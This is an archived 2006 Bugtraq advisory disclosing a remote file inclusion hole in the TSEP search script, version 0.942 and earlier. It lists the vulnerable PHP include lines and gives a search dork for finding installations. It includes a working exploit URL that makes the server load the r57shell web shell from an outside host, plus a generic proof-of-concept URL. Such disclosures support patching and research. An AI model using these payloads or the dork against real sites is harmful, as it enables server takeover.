bugtraq - TSEP <= 0.942 Remote File Include

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

This website is powered by Openwall GNU/*/Linux security-enhanced OS

[<prev] [next>] [month] [year] [list]

Date: Wed, 2 Aug 2006 17:56:41 -0500
From: beford <xbefordx@...il.com>
To: submit@...w0rm.com, bugs@...uritytracker.com,
	bugtraq@...urityfocus.com
Subject: TSEP <= 0.942 Remote File Include

Script: TSEP <= 0.942
URL:  www.tsep.info
Discovered: beford <xbefordx gmail com>
Comments: "register_globals" must be enabled duh.
document.this != http://www.milw0rm.com/exploits/2098
Vulnerable Files/Code:

./tsep.0942/include/colorswitch.php?tsep_config[absPath]=http://rst.void.ru/download/r57shell.txt?
./tsep.0942/include/printpagedetails.php => require_once(
$tsep_config["absPath"]."/include/convert_htmlent.php" );
./tsep.0942/include/ipfunctions.php => require_once(
$tsep_config["absPath"]."/include/IPv6.php" );
./tsep.0942/include/contentimages.class.php => require_once(
$tsep_config["absPath"]."/include/contentimages.class.php" );
./tsep.0942/include/configfunctions.php => require_once(
$tsep_config["absPath"]."/include/mmexfunctions.php" );
./tsep.0942/include/log.class.php => require_once(
$tsep_config["absPath"]."/include/tseptrace.php" );

Not-leet-enough: "Powered By TSEP"

POC:
http://hax.com/tsep/include/colorswitch.php?tsep_config[absPath]=http://remotefile/?